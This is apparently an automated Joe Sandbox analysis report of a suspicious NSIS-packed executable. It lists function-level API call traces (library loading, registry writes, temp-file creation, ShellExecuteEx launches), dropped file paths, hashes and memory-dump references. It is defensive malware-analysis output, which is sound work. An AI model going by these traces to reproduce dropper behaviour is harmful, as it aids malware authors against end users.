GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040665E
wsprintfA.USER32 ref: 00406697
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004066AB

Strings

UXTHEME, xrefs: 00406650
%s%s.dll, xrefs: 00406691
\, xrefs: 0040666F

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: bb0c7447bffed25a47ff2517fd87417c43c35d72d0d658bdc18f354cf5cb2530
Instruction ID: e759eb08ac56218b9122c2e4f19d02add1096545fd4a6e696b7e3c492baae584
Opcode Fuzzy Hash: bb0c7447bffed25a47ff2517fd87417c43c35d72d0d658bdc18f354cf5cb2530
Instruction Fuzzy Hash: 74F0FC305002096BDF149B74DD0DFEB365CAF08704F14097AA586E10D1E9B9D4758B69

Function 6E33176B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E331B28: GlobalFree.KERNEL32(?), ref: 6E331D99
Part of subcall function 6E331B28: GlobalFree.KERNEL32(?), ref: 6E331D9E
Part of subcall function 6E331B28: GlobalFree.KERNEL32(?), ref: 6E331DA3

GlobalFree.KERNEL32(00000000), ref: 6E331816
FreeLibrary.KERNEL32(?), ref: 6E331899
GlobalFree.KERNEL32(00000000), ref: 6E3318BE

Part of subcall function 6E33233F: GlobalAlloc.KERNEL32(00000040,?), ref: 6E332370

Part of subcall function 6E332742: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6E3317E7,00000000), ref: 6E332812

Part of subcall function 6E3315FB: wsprintfA.USER32 ref: 6E331629

Strings

, xrefs: 6E33189F

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 3e42cc902b781c67b6bc17be206e04dabb2fd17a76311f9f6ea2b3603f3ea253
Instruction ID: 6351ad8dc853541711ca2394ff7b01d28f9d350692347cf760268f22fd0dc41b
Opcode Fuzzy Hash: 3e42cc902b781c67b6bc17be206e04dabb2fd17a76311f9f6ea2b3603f3ea253
Instruction Fuzzy Hash: E241D0714002E69ADB409FF48994FEA77ECBF01314F3889B4E9959E086DF76814DC7A0

Function 00401C53 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CC3
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401CDB

Strings

!, xrefs: 00401C8F

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 6b7a83c98c9a4dd998c630d8be00bc685075749139b64b10b53530248dbe3f14
Instruction ID: 290ea32ff0ec2f544a370e30947e4a0d8eefe4f8a949274a77cee2e27ce3354c
Opcode Fuzzy Hash: 6b7a83c98c9a4dd998c630d8be00bc685075749139b64b10b53530248dbe3f14
Instruction Fuzzy Hash: E121B471948209BFEF05AFA4DA86AAE7FB1EF44304F20447EF105B61D1C6B98681DB18

Function 004024A3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsv507D.tmp,00000023,00000011,00000002), ref: 004024EE
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsv507D.tmp,00000000,00000011,00000002), ref: 0040252E
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsv507D.tmp,00000000,00000011,00000002), ref: 00402612

Strings

C:\Users\user\AppData\Local\Temp\nsv507D.tmp, xrefs: 004024DF, 004024ED, 00402501, 00402518, 00402523

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsv507D.tmp
API String ID: 2655323295-179125366
Opcode ID: 01be07207417a34e2fd7276a7f8dd5bd622f6c843808a50c06c527054a50520e
Instruction ID: bcff8488b3c7483af384f27edc247fb8d09a012b63b7e061f1957b9ca53072ec
Opcode Fuzzy Hash: 01be07207417a34e2fd7276a7f8dd5bd622f6c843808a50c06c527054a50520e
Instruction Fuzzy Hash: A5118172E04118BFEF10AFA59E49AAE7AB4EB44314F20443FF505F71D1C6B98D829A18

Function 00405E4F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E63
GetTempFileNameA.KERNELBASE(0000000C,?,00000000,?,?,004033D6,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008), ref: 00405E7D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E52
nsa, xrefs: 00405E5A

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 785ee4e59b25deabe338fa9c65985dff7b7c4930a860df7800de2eab11a71ed7
Instruction ID: 3970c65dfeb72379d163dc795dbdbe3f0392b49dfad0d6f3c406a96719355742
Opcode Fuzzy Hash: 785ee4e59b25deabe338fa9c65985dff7b7c4930a860df7800de2eab11a71ed7
Instruction Fuzzy Hash: A0F082363042046BDB109F56EC04B9B7B9CEF91750F10803BF9889B180D6B099558798

Function 004020CA Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 004020F5

Part of subcall function 004053D1: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000,?), ref: 0040540A
Part of subcall function 004053D1: lstrlenA.KERNEL32(004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000), ref: 0040541A
Part of subcall function 004053D1: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,004032C3,004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0), ref: 0040542D
Part of subcall function 004053D1: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll), ref: 0040543F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405465
Part of subcall function 004053D1: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040547F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040548D

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402105
GetProcAddress.KERNEL32(00000000,?), ref: 00402115
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040217F

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 056f6e09274932c5806e516a526782628814fdef0fe3ef9b51a109e535a48abd
Instruction ID: 18bbb9f6491bb16bc869df63e9f5beea4603ad23440c914569cabcc4b16c920a
Opcode Fuzzy Hash: 056f6e09274932c5806e516a526782628814fdef0fe3ef9b51a109e535a48abd
Instruction Fuzzy Hash: ED21C931A00115BBCF20BF659F89B6F7570AB40358F20413BF611B61D1CABD49839A5E

Function 004015E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405CB8: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,0000000C,00405D24,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405A6F,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405CC6
Part of subcall function 00405CB8: CharNextA.USER32(00000000), ref: 00405CCB
Part of subcall function 00405CB8: CharNextA.USER32(00000000), ref: 00405CDF

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401632

Part of subcall function 00405897: CreateDirectoryA.KERNELBASE(?,?), ref: 004058D9

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate,00000000,00000000,000000F0), ref: 00401661

Strings

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 00401656

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate
API String ID: 1892508949-1124611765
Opcode ID: 2c20d4c644fd78e3d1f4ce17685fc2594679ef97166e32e1fcd970dca5652f26
Instruction ID: 0b6d2b43488905cbaa276f6c0cac56371e043703d2fe031d841b632f48d4a949
Opcode Fuzzy Hash: 2c20d4c644fd78e3d1f4ce17685fc2594679ef97166e32e1fcd970dca5652f26
Instruction Fuzzy Hash: 3911E331904240AFDF307F754D41A7F26B0DA56724B68497FF891B22E2C63D49439A6E

Function 00401F1E Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00405969: ShellExecuteExA.SHELL32(?,00404774,?), ref: 00405978

Part of subcall function 0040672A: WaitForSingleObject.KERNEL32(?,00000064), ref: 0040673B
Part of subcall function 0040672A: GetExitCodeProcess.KERNEL32(?,?), ref: 0040675D

CloseHandle.KERNELBASE(?,?,?,?,?,?), ref: 00401FE5

Strings

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 00401F6C
@, xrefs: 00401F89

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CloseCodeExecuteExitHandleObjectProcessShellSingleWait
String ID: @$C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate
API String ID: 165873841-3200100611
Opcode ID: 4045d026b52495829b245bff0c8a860c6011144a5f3f89b1fb6398ee91597c2b
Instruction ID: 5ba2b647f7f38adafa31df8ed61492a5ad7c71a48fde22f3d1fa4ecdb07d8f9a
Opcode Fuzzy Hash: 4045d026b52495829b245bff0c8a860c6011144a5f3f89b1fb6398ee91597c2b
Instruction Fuzzy Hash: 63113A71E042099EDF51EFF9CA49A8DBBF4AF04318F14403AE115FB2D2D6B98946DB18

Function 00405A07 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405DFB: GetFileAttributesA.KERNELBASE(?,?,00405A13,?,?,00000000,00405BF6,?,?,?,?), ref: 00405E00
Part of subcall function 00405DFB: SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405E14

RemoveDirectoryA.KERNEL32(?,?,?,00000000,00405BF6), ref: 00405A22
DeleteFileA.KERNELBASE(?,?,?,00000000,00405BF6), ref: 00405A2A
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405A42

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 043921b8c917d9d62ea668da32ed729a983a4b9cb196bdfb72cf9d57704c1844
Instruction ID: 6cbbeebccd270b92d1032a3138f2130d4a861fe222b861409a1048e863718438
Opcode Fuzzy Hash: 043921b8c917d9d62ea668da32ed729a983a4b9cb196bdfb72cf9d57704c1844
Instruction Fuzzy Hash: 7FE0E531314A915BC3105774AA8CA5B2A98DFC2315F050A3AF4A2B10C0CB78444A8F6D

Function 00402543 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402573
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsv507D.tmp,00000000,00000011,00000002), ref: 00402612

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 2b7bc4f9418c8989dcd2ffdae205d0de7b18417eb2397653a7bee02426985274
Instruction ID: 97fa2cc47e124225833d1b044c3f4c0ff185fe65e0aec06a9837656ed07e9740
Opcode Fuzzy Hash: 2b7bc4f9418c8989dcd2ffdae205d0de7b18417eb2397653a7bee02426985274
Instruction Fuzzy Hash: 6511C171905205EFDF20CF60CA985AE7AB4EF01344F20883FE446B72C0D6B88A45DA1A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a4ad1f289275d07b12332ff40cf82794c587183748ad10ec12a076e6d131a720
Instruction ID: 80ce8cba2e1b90c3c9584b4bf9ae45de9eb83361fcac52349235150bfd3c5ac5
Opcode Fuzzy Hash: a4ad1f289275d07b12332ff40cf82794c587183748ad10ec12a076e6d131a720
Instruction Fuzzy Hash: C801F4317242209BE7295B399D08B6A36D8E710754F50823FF995F71F1E678CC028B5C

Function 0040244E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 0040246F
RegCloseKey.ADVAPI32(00000000), ref: 00402478

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: e954de63805926efc489198397230352766dfc3c3be1974fd50265881effd18f
Instruction ID: 01f6084b7650a9b213f52d22935e9030d34abb49b24569214b94c05b06999087
Opcode Fuzzy Hash: e954de63805926efc489198397230352766dfc3c3be1974fd50265881effd18f
Instruction Fuzzy Hash: D3F0B132604121AFDB60EBA49F4DA7F72A99B40314F15003FF101B71C1D9F84D42466E

Function 00402653 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 00402674

Strings

C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll, xrefs: 00402665, 0040268A

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll
API String ID: 1659193697-1987037384
Opcode ID: 366b14a8103b65e729c936a7bf154db847742850a32fdf27df13daa7337a2ab1
Instruction ID: 61272aa0762119994c047e7fd20119112025cf8b6efb119306360bab3c915050
Opcode Fuzzy Hash: 366b14a8103b65e729c936a7bf154db847742850a32fdf27df13daa7337a2ab1
Instruction Fuzzy Hash: CCF08972908244AADB20F7B65A49E5F66B49B81314B20443FE141B71C2C5FD45539A5E

Function 00405897 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,?), ref: 004058D9
GetLastError.KERNEL32 ref: 004058E7

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3953c50c5734a5342b3d9bd696b660d903f899823d07f085df3ad9df62cd1170
Instruction ID: 6d4ac730157cfa02be50de44a6d7979ff339f577f95dd1204a0ac4d64297c34f
Opcode Fuzzy Hash: 3953c50c5734a5342b3d9bd696b660d903f899823d07f085df3ad9df62cd1170
Instruction Fuzzy Hash: A3F0F971C0024DDADB00DFA4D5487DEBBB4AF04305F00802AD841B6280D7B882588B99

Function 00401EEA Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401F08
EnableWindow.USER32(00000000,00000000), ref: 00401F13

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
